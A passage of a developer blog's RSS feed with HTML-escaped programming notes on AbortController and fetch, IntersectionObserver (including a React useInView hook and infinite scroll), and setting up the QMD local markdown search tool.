&lt;li&gt;&lt;code&gt;abort()&lt;/code&gt; takes an optional reason: &lt;code&gt;controller.abort(new Error(&apos;user cancelled&apos;))&lt;/code&gt; - the promise rejects with that instead of the default &lt;code&gt;AbortError&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Aborting also cancels a body read in progress (&lt;code&gt;response.json()&lt;/code&gt; etc), not just the initial connection.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Timeouts with &lt;code&gt;AbortSignal.timeout()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;For the common &quot;give up after n ms&quot; case you don&apos;t need a controller at all - &lt;code&gt;AbortSignal.timeout(ms)&lt;/code&gt; makes a signal that aborts itself:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const response = await fetch(url, {
  signal: AbortSignal.timeout(5000),
})
// throws a TimeoutError DOMException if it takes longer than 5s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the different error names: a timeout rejects with a &lt;code&gt;TimeoutError&lt;/code&gt;, a manual &lt;code&gt;abort()&lt;/code&gt; rejects with an &lt;code&gt;AbortError&lt;/code&gt;. Handy for distinguishing &quot;too slow&quot; from &quot;cancelled on purpose&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;try {
  const response = await fetch(url, { signal: AbortSignal.timeout(5000) })
} catch (error) {
  if (error.name === &apos;TimeoutError&apos;) {
    // took too long
  } else if (error.name === &apos;AbortError&apos;) {
    // deliberately cancelled
  } else {
    throw error // network failure etc
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Combining signals with &lt;code&gt;AbortSignal.any()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Want both a timeout &lt;em&gt;and&lt;/em&gt; a manual cancel button? &lt;code&gt;AbortSignal.any()&lt;/code&gt; (Baseline 2024) merges signals - the request aborts when the first one fires:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const controller = new AbortController()

const response = await fetch(url, {
  signal: AbortSignal.any([controller.signal, AbortSignal.timeout(5000)]),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The reusable timeout-fetch helper&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const fetchWithTimeout = async (url, options = {}, ms = 5000) =&amp;gt; {
  const signals = [AbortSignal.timeout(ms)]
  if (options.signal) {
    signals.push(options.signal)
  }
  return fetch(url, { ...options, signal: AbortSignal.any(signals) })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Beyond fetch&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;AbortSignal&lt;/code&gt; isn&apos;t fetch-specific. Two other uses I reach for:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Remove a batch of event listeners in one go - pass the same signal
// to addEventListener and abort() detaches them all. Great for cleanup
// in SPAs, and no need to keep references to the handler functions.
const controller = new AbortController()
window.addEventListener(&apos;resize&apos;, onResize, { signal: controller.signal })
window.addEventListener(&apos;scroll&apos;, onScroll, { signal: controller.signal })
// later…
controller.abort()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Make your own async functions cancellable
const doWork = async (items, { signal } = {}) =&amp;gt; {
  for (const item of items) {
    signal?.throwIfAborted() // throws the abort reason if aborted
    await process(item)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also check &lt;code&gt;signal.aborted&lt;/code&gt; (boolean) and &lt;code&gt;signal.reason&lt;/code&gt;, or listen for the &lt;code&gt;abort&lt;/code&gt; event on the signal itself, if throwing isn&apos;t what you want.&lt;/p&gt;
&lt;h2&gt;Request&lt;/h2&gt;
&lt;p&gt;Synopsis: &lt;code&gt;new Request(url, options)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Request&lt;/code&gt; represents a HTTP request to be performed via &lt;code&gt;fetch()&lt;/code&gt;. Typically a &lt;code&gt;Request&lt;/code&gt; doesn&apos;t need to be constructed manually, as it&apos;s instantiated internally when &lt;code&gt;fetch()&lt;/code&gt; is called.&lt;/p&gt;
&lt;h3&gt;URL (Request or string)&lt;/h3&gt;
&lt;p&gt;The URL of the resource which is being fetched. Typically this is an absolute URL without the host component, e.g. &lt;code&gt;&quot;/path&quot;&lt;/code&gt;. If the URL has the host of another site, the request is performed in accordance to CORS.&lt;/p&gt;
&lt;p&gt;Any non-Request object will be converted to a &lt;code&gt;String&lt;/code&gt;, making it possible to pass an instance of &lt;code&gt;URL&lt;/code&gt;, for example.&lt;/p&gt;
&lt;p&gt;A request can be initialised using another instance of &lt;code&gt;Request&lt;/code&gt; in place of the &lt;code&gt;URL&lt;/code&gt;. In that case, the &lt;code&gt;URL&lt;/code&gt; and other options are inherited from the provided Request object.&lt;/p&gt;
&lt;h3&gt;Options&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;method&lt;/code&gt; (String) - HTTP request method. Default: &lt;code&gt;&quot;GET&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;body&lt;/code&gt; (String, body types) - HTTP request body&lt;/li&gt;
&lt;li&gt;&lt;code&gt;headers&lt;/code&gt; (Object, Headers) - Default: &lt;code&gt;{}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;credentials&lt;/code&gt; (String) - Authentication credentials mode. Default: &lt;code&gt;&quot;same-origin&quot;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;omit&quot;&lt;/code&gt; - don&apos;t include authentication credentials (e.g. cookies) in the request&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;same-origin&quot;&lt;/code&gt; - include credentials in requests to the same site&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;include&quot;&lt;/code&gt; - include credentials in requests to all sites&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Body types&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;Default Content-Type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;String&lt;/td&gt;
&lt;td&gt;&lt;code&gt;text/plain;charset=UTF-8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams&quot;&gt;URLSearchParams&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;application/x-www-form-urlencoded;charset=UTF-8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/FormData&quot;&gt;FormData&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;multipart/form-data&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Blob&quot;&gt;Blob&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;inherited from the &lt;code&gt;blob.type&lt;/code&gt; property&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/ArrayBuffer&quot;&gt;ArrayBuffer&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray&quot;&gt;TypedArray&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/DataView&quot;&gt;DataView&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Other data structures need to be encoded beforehand as one of the above types. For instance, &lt;code&gt;JSON.stringify(data)&lt;/code&gt; can be used to serialise a data structure into a JSON string.&lt;/p&gt;
&lt;p&gt;Note that HTTP servers often require that requests that are posted with a body also specify their type via a &lt;code&gt;Content-Type&lt;/code&gt; request header.&lt;/p&gt;
&lt;h2&gt;Response&lt;/h2&gt;
&lt;p&gt;Response represents a HTTP response from the server. Typically a Response is not constructed manually, but is available as argument to the resolved promise callback.&lt;/p&gt;
&lt;h3&gt;Properties&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;status&lt;/code&gt; (number) - HTTP response code in the 100–599 range&lt;/li&gt;
&lt;li&gt;&lt;code&gt;statusText&lt;/code&gt; (String) - Status text as reported by the server, e.g. &quot;Unauthorized&quot;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ok&lt;/code&gt; (boolean) - True if status is HTTP 2xx&lt;/li&gt;
&lt;li&gt;&lt;code&gt;headers&lt;/code&gt; (Headers)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;url&lt;/code&gt; (String)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Body methods&lt;/h3&gt;
&lt;p&gt;Each of the methods to access the response body returns a Promise that will be resolved when the associated data type is ready.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;text()&lt;/code&gt; - yields the response text as String&lt;/li&gt;
&lt;li&gt;&lt;code&gt;json()&lt;/code&gt; - yields the result of JSON.parse(responseText)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;blob()&lt;/code&gt; - yields a Blob&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arrayBuffer()&lt;/code&gt; - yields an ArrayBuffer&lt;/li&gt;
&lt;li&gt;&lt;code&gt;formData()&lt;/code&gt; - yields FormData that can be forwarded to another request&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Other response methods&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;clone()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Response.error()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Response.redirect()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Headers&lt;/h2&gt;
&lt;p&gt;Synopsis: &lt;code&gt;new Headers(hash)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Headers represents a set of request/response HTTP headers. It allows for case-insensitive lookup of header by name, as well as merging multiple values of a single header.&lt;/p&gt;
&lt;h3&gt;Methods&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;has(name)&lt;/code&gt; (boolean)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;get(name)&lt;/code&gt; (String)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set(name, value)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;append(name, value)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;delete(name)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;forEach(function(value, name){ ... }, [thisContext])&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Error&lt;/h2&gt;
&lt;p&gt;If there is a network error or another reason why the HTTP request couldn&apos;t be fulfilled, the fetch() promise will be rejected with a reference to that error.&lt;/p&gt;
&lt;p&gt;Note that the promise won&apos;t be rejected in case of HTTP 4xx or 5xx server responses. The promise will be resolved just as it would be for HTTP 2xx. Inspect the response.status number within the resolved callback to add conditional handling of server errors to your code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fetch(...).then((response) =&amp;gt; {
  if (response.ok) {
    return response.json()
  } else {
    var error = new Error(response.statusText)
    error.response = response
    throw error
  }
})
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>IntersectionObserver</title><link>https://zander.wtf/notes/intersection-observer/</link><guid isPermaLink="true">https://zander.wtf/notes/intersection-observer/</guid><description>IntersectionObserver tells you when an element enters or leaves the viewport (or another scrolling element). The browser does the work off the main thread,…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt; tells you when an element enters or leaves the viewport (or another scrolling element). The browser does the work off the main thread, so it&apos;s much cheaper than a scroll listener that calls &lt;code&gt;getBoundingClientRect()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Use it to answer &quot;is this on screen?&quot;: lazy loading, infinite scroll, reveal animations, analytics impressions, pausing off-screen video, scrollspy navs.&lt;/p&gt;
&lt;h2&gt;Basic usage&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const observer = new IntersectionObserver(
  (entries) =&amp;gt; {
    for (const entry of entries) {
      entry.target // the observed element
      entry.isIntersecting // true when it&apos;s (partly) on screen
      entry.intersectionRatio // how much is visible, 0–1
      entry.boundingClientRect // its position, measured for free
    }
  },
  {
    root: null, // null = the viewport, or pass a scrolling element
    rootMargin: &apos;0px&apos;, // grow (+) or shrink (-) the root box, like CSS margin
    threshold: 0, // 0 = any pixel visible, 1 = fully visible, or an array
  },
)

observer.observe(element)

observer.unobserve(element) // stop watching one element
observer.disconnect() // stop watching everything
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The callback runs &lt;strong&gt;once straight away&lt;/strong&gt; for each element you observe, with its current state. Don&apos;t treat the first call as &quot;it just came into view&quot;.&lt;/li&gt;
&lt;li&gt;One observer can watch many elements. Create one and call &lt;code&gt;observe()&lt;/code&gt; for each, instead of one observer per element.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;rootMargin&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;rootMargin&lt;/code&gt; moves the edges of the viewport before the check happens.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// start loading 300px before the element scrolls into view
new IntersectionObserver(callback, { rootMargin: &apos;300px 0px&apos; })

// only count it inside a thin band across the middle of the viewport
new IntersectionObserver(callback, { rootMargin: &apos;-45% 0px -50% 0px&apos; })
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;threshold&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// fire each time visibility crosses 0%, 25%, 50%, 75% and 100%
new IntersectionObserver(callback, { threshold: [0, 0.25, 0.5, 0.75, 1] })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Examples&lt;/h2&gt;
&lt;h3&gt;Lazy load, once&lt;/h3&gt;
&lt;p&gt;Stop watching an element after it loads.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const observer = new IntersectionObserver(
  (entries) =&amp;gt; {
    for (const entry of entries) {
      if (!entry.isIntersecting) continue
      entry.target.src = entry.target.dataset.src
      observer.unobserve(entry.target)
    }
  },
  { rootMargin: &apos;300px 0px&apos; },
)

document.querySelectorAll(&apos;img[data-src]&apos;).forEach((img) =&amp;gt; observer.observe(img))
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;For plain images and iframes you don&apos;t need this: use &lt;code&gt;&amp;lt;img loading=&quot;lazy&quot;&amp;gt;&lt;/code&gt;. Reach for the observer for anything else (components, embeds, data).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Reveal on scroll&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const observer = new IntersectionObserver(
  (entries) =&amp;gt; {
    for (const entry of entries) {
      if (!entry.isIntersecting) continue
      entry.target.classList.add(&apos;is-visible&apos;)
      observer.unobserve(entry.target)
    }
  },
  { threshold: 0.2 },
)

document.querySelectorAll(&apos;.reveal&apos;).forEach((el) =&amp;gt; observer.observe(el))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.reveal {
  opacity: 0;
  translate: 0 2rem;
  transition: opacity 0.6s, translate 0.6s;
}
.reveal.is-visible {
  opacity: 1;
  translate: 0 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CSS can now do this with no JavaScript, using scroll-driven animations (&lt;code&gt;animation-timeline: view()&lt;/code&gt;). Check &lt;a href=&quot;https://caniuse.com/css-scroll-timeline&quot;&gt;browser support&lt;/a&gt; first.&lt;/p&gt;
&lt;h3&gt;Infinite scroll&lt;/h3&gt;
&lt;p&gt;Watch an empty &quot;sentinel&quot; element at the end of the list. Load more when it comes near the viewport. No scroll listener and no &lt;a href=&quot;/notes/throttle/&quot;&gt;throttle&lt;/a&gt; needed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const sentinel = document.querySelector(&apos;#load-more&apos;)

const observer = new IntersectionObserver(
  async ([entry]) =&amp;gt; {
    if (!entry.isIntersecting) return
    const hasMore = await loadNextPage()
    if (!hasMore) observer.disconnect()
  },
  { rootMargin: &apos;800px 0px&apos; },
)

observer.observe(sentinel)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Pause videos that are off screen&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const observer = new IntersectionObserver(
  (entries) =&amp;gt; {
    for (const entry of entries) {
      entry.isIntersecting ? entry.target.play() : entry.target.pause()
    }
  },
  { threshold: 0.5 },
)

document.querySelectorAll(&apos;video[autoplay]&apos;).forEach((video) =&amp;gt; observer.observe(video))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Scrollspy: highlight the current section in a nav&lt;/h3&gt;
&lt;p&gt;The negative &lt;code&gt;rootMargin&lt;/code&gt; shrinks the viewport to a thin band across its middle. The section inside that band is the current one.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const links = new Map(
  [...document.querySelectorAll(&apos;nav a[href^=&quot;#&quot;]&apos;)].map((a) =&amp;gt; [a.hash.slice(1), a]),
)

const observer = new IntersectionObserver(
  (entries) =&amp;gt; {
    for (const entry of entries) {
      if (entry.isIntersecting) {
        links.forEach((a) =&amp;gt; a.removeAttribute(&apos;aria-current&apos;))
        links.get(entry.target.id)?.setAttribute(&apos;aria-current&apos;, &apos;true&apos;)
      }
    }
  },
  { rootMargin: &apos;-45% 0px -50% 0px&apos; },
)

document.querySelectorAll(&apos;section[id]&apos;).forEach((section) =&amp;gt; observer.observe(section))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Style a sticky header once it&apos;s stuck&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;position: sticky&lt;/code&gt; has no &quot;stuck&quot; state in CSS. Put a 1px sentinel at the very top of the page. When it leaves the viewport, the header is stuck.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const header = document.querySelector(&apos;header&apos;)
const sentinel = document.querySelector(&apos;#top-sentinel&apos;)

new IntersectionObserver(([entry]) =&amp;gt; {
  header.classList.toggle(&apos;is-stuck&apos;, !entry.isIntersecting)
}).observe(sentinel)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Track impressions&lt;/h3&gt;
&lt;p&gt;Count an ad or product card as &quot;seen&quot; when half of it is visible, once.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const observer = new IntersectionObserver(
  (entries) =&amp;gt; {
    for (const entry of entries) {
      if (!entry.isIntersecting) continue
      analytics.track(&apos;impression&apos;, { id: entry.target.dataset.id })
      observer.unobserve(entry.target)
    }
  },
  { threshold: 0.5 },
)

document.querySelectorAll(&apos;[data-track-impression]&apos;).forEach((el) =&amp;gt; observer.observe(el))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;With React&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;useInView&lt;/code&gt; hook&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { useEffect, useState } from &apos;react&apos;

type Options = {
  root?: Element | null
  rootMargin?: string
  threshold?: number | number[]
  once?: boolean
}

export function useInView&amp;lt;T extends Element&amp;gt;({
  root = null,
  rootMargin = &apos;0px&apos;,
  threshold = 0,
  once = false,
}: Options = {}) {
  // a callback ref (via useState) re-runs the effect if the element mounts later
  const [element, setElement] = useState&amp;lt;T | null&amp;gt;(null)
  const [inView, setInView] = useState(false)

  useEffect(() =&amp;gt; {
    if (!element) return

    const observer = new IntersectionObserver(
      ([entry]) =&amp;gt; {
        setInView(entry.isIntersecting)
        if (once &amp;amp;&amp;amp; entry.isIntersecting) observer.disconnect()
      },
      { root, rootMargin, threshold },
    )

    observer.observe(element)
    return () =&amp;gt; observer.disconnect()
  }, [element, root, rootMargin, threshold, once])

  return [setElement, inView] as const
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two traps this hook avoids:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Options object in the deps.&lt;/strong&gt; &lt;code&gt;useIntersectionObserver({ threshold: 0.5 })&lt;/code&gt; makes a new object on every render. If the effect depends on it, the observer is torn down and rebuilt on every render. Depend on the single values instead. If you pass a &lt;code&gt;threshold&lt;/code&gt; array, define it outside the component.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;useRef&lt;/code&gt; + &lt;code&gt;useEffect([])&lt;/code&gt;.&lt;/strong&gt; If the element renders later (after loading, or behind a condition), &lt;code&gt;ref.current&lt;/code&gt; is &lt;code&gt;null&lt;/code&gt; when the effect runs, and the element is never observed. Storing the element in state re-runs the effect when it appears.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Usage&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function Section({ children }: { children: React.ReactNode }) {
  const [ref, inView] = useInView&amp;lt;HTMLElement&amp;gt;({ threshold: 0.2, once: true })

  return (
    &amp;lt;section ref={ref} className={inView ? &apos;reveal is-visible&apos; : &apos;reveal&apos;}&amp;gt;
      {children}
    &amp;lt;/section&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Render something heavy only when it gets close:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function LazyMap() {
  const [ref, inView] = useInView&amp;lt;HTMLDivElement&amp;gt;({ rootMargin: &apos;400px&apos;, once: true })

  return &amp;lt;div ref={ref} style={{ minHeight: 400 }}&amp;gt;{inView &amp;amp;&amp;amp; &amp;lt;Map /&amp;gt;}&amp;lt;/div&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;minHeight&lt;/code&gt; matters: an empty 0px box can sit on screen and fire too early, and the content shifts the layout when it appears.&lt;/p&gt;
&lt;h3&gt;Infinite scroll with React Query&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function Feed() {
  const { data, fetchNextPage, hasNextPage, isFetchingNextPage } = useInfiniteQuery({
    queryKey: [&apos;feed&apos;],
    queryFn: ({ pageParam, signal }) =&amp;gt; fetchFeed(pageParam, signal),
    initialPageParam: null as string | null,
    getNextPageParam: (lastPage) =&amp;gt; lastPage.nextCursor,
  })

  const [sentinelRef, nearEnd] = useInView&amp;lt;HTMLLIElement&amp;gt;({ rootMargin: &apos;800px 0px&apos; })

  useEffect(() =&amp;gt; {
    if (nearEnd &amp;amp;&amp;amp; hasNextPage &amp;amp;&amp;amp; !isFetchingNextPage) fetchNextPage()
  }, [nearEnd, hasNextPage, isFetchingNextPage, fetchNextPage])

  return (
    &amp;lt;ul&amp;gt;
      {data?.pages.flatMap((page) =&amp;gt; page.items).map((post) =&amp;gt; &amp;lt;PostRow key={post.id} post={post} /&amp;gt;)}
      &amp;lt;li ref={sentinelRef}&amp;gt;{isFetchingNextPage ? &apos;Loading…&apos; : null}&amp;lt;/li&amp;gt;
    &amp;lt;/ul&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The effect also re-checks after each page loads. If the sentinel is still near the end (the page was short), it loads the next page at once. More in the &lt;a href=&quot;/notes/react-query/&quot;&gt;React Query&lt;/a&gt; note.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tall elements and &lt;code&gt;threshold: 1&lt;/code&gt;.&lt;/strong&gt; An element taller than the viewport can never be 100% visible, so the callback never fires. Use a lower threshold.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;display: none&lt;/code&gt; elements&lt;/strong&gt; never intersect. Hidden elements with &lt;code&gt;opacity: 0&lt;/code&gt; or &lt;code&gt;visibility: hidden&lt;/code&gt; do.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;root&lt;/code&gt; must be an ancestor&lt;/strong&gt; of the observed element, and it must be the element that scrolls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clean up.&lt;/strong&gt; Call &lt;code&gt;disconnect()&lt;/code&gt; when the component or page goes away. To tear it down with other listeners in one go, connect it to an &lt;a href=&quot;/notes/abort-controller/&quot;&gt;AbortController&lt;/a&gt;: &lt;code&gt;signal.addEventListener(&apos;abort&apos;, () =&amp;gt; observer.disconnect())&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It isn&apos;t for scroll position.&lt;/strong&gt; It tells you &lt;em&gt;whether&lt;/em&gt; something is visible, not &lt;em&gt;how far&lt;/em&gt; the page has scrolled. For a scroll progress bar, use a &lt;a href=&quot;/notes/throttle/&quot;&gt;throttled&lt;/a&gt; scroll listener or &lt;code&gt;animation-timeline: scroll()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API&quot;&gt;MDN: Intersection Observer API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://css-tricks.com/using-intersectionobserver-to-check-if-page-scrolled-past-certain-point/&quot;&gt;CSS-Tricks: Using IntersectionObserver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>javascript</category><category>typescript</category><category>react</category><author>Zander Martineau</author></item><item><title>QMD</title><link>https://zander.wtf/notes/qmd/</link><guid isPermaLink="true">https://zander.wtf/notes/qmd/</guid><description>QMD is a local search engine for markdown files. It combines keyword search (BM25), vector search (search by meaning) and LLM re-ranking, and it all runs…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;QMD is a local search engine for markdown files. It combines keyword search (BM25), vector search (search by meaning) and LLM re-ranking, and it all runs on your machine. It also has an MCP server, so AI agents can search your notes too.&lt;/p&gt;
&lt;p&gt;I use it to make my Obsidian vault and these code notes searchable from any agent, in any project.&lt;/p&gt;
&lt;h2&gt;Install&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;npm install -g @tobilu/qmd
# or
bun install -g @tobilu/qmd
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Add folders&lt;/h2&gt;
&lt;p&gt;Each folder you index is a &lt;strong&gt;collection&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qmd collection add ~/Documents/Obsidian --name obsidian
qmd collection add ~/code/my-site/src/content/notes --name codenotes

# only some files
qmd collection add ~/Documents/notes --name notes --mask &quot;**/*.md&quot;

qmd embed # build the vector index
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add a short description to each collection. It helps search, and it tells agents what they&apos;re looking at:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qmd context add qmd://codenotes &quot;Short dev notes and snippets: JS, TS, React, CSS, tools&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Other collection commands: &lt;code&gt;qmd collection list&lt;/code&gt;, &lt;code&gt;show&lt;/code&gt;, &lt;code&gt;rename&lt;/code&gt;, &lt;code&gt;remove&lt;/code&gt;, and &lt;code&gt;qmd ls codenotes&lt;/code&gt; to see the files.&lt;/p&gt;
&lt;h2&gt;Search&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;qmd search &quot;abort controller&quot;          # keywords only, fast, no model
qmd vsearch &quot;cancel a fetch request&quot;   # by meaning only
qmd query &quot;how do I cancel a fetch?&quot;   # both, plus re-ranking (best, slower)

qmd query &quot;debounce&quot; -c codenotes      # one collection
qmd query &quot;debounce&quot; -n 10 --full      # 10 results, full documents
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;query&lt;/code&gt; can also be a typed &quot;query document&quot;, one search per line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qmd query $&apos;lex: &quot;useInfiniteQuery&quot; -graphql\nvec: infinite scroll with react query&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;lex:&lt;/code&gt; keyword search. &lt;code&gt;&quot;exact phrase&quot;&lt;/code&gt; and &lt;code&gt;-exclude&lt;/code&gt; work.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vec:&lt;/code&gt; a question in plain words.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hyde:&lt;/code&gt; a short made-up answer. The results that look most like it win. Good for vague topics.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Read a result with &lt;code&gt;qmd get &amp;lt;file&amp;gt;&lt;/code&gt; or &lt;code&gt;qmd get &quot;#docid&quot;&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Use it from agents&lt;/h2&gt;
&lt;p&gt;For Claude Code, install the plugin. It adds the MCP server and a skill:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;claude plugin marketplace add tobi/qmd
claude plugin install qmd@qmd
&lt;/code&gt;&lt;/pre&gt;
